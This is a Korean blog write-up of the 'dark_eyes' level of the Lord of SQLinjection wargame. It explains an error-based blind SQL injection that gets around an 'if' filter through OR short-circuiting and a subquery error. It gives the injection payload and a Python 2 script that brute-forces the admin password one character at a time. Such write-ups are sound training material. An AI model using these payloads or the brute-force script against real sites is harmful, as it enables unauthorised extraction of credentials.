php 코드를 보면 이전 문제와 비슷하지만 다른점은 에러가 나오면 화면에 아무것도 표시하지 않는다.

이번에는 화면에 아무것도 표시되지 않는 부분을 이용해 error based sql injection을 하면 된다.

조건을 줘서 blind sqlinjection을 하려고 했으나 if가 필터에 걸려있다.. 처음엔 여기를 보고 coalesce를 이용해 풀려고 했으나 복잡하여 다른 방법을 생각하다가 mysql에서 a or b에서 a가 참이면 뒤의 b가 참이 아니여도 참이 된다는 것일 이용해 b 부분에 subquery를 이용해 에러메시지가 나오도록 하면 풀 수 있다는 것을 알았다.


먼저 pw 길이를 구하는 쿼리다.


?pw=' or id='admin' and (length(pw)=8 or (select id union select 2))%23

아래는 pw를 구하는 코드다.

import urllib, urllib2

flag = ""

for i in range(1, 9):
        for j in range(33, 128):
                url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?"
                dat = "pw=%27%20or%20id=%27admin%27%20and%20(ord(mid(pw,{},1))={}%20or%20(select%20id%20union%20select%202))%23".format(i, j)
                print url+dat
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if len(res) != 0:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)






'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection evil_wizard  (0) 2017.08.08
Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05

+ Recent posts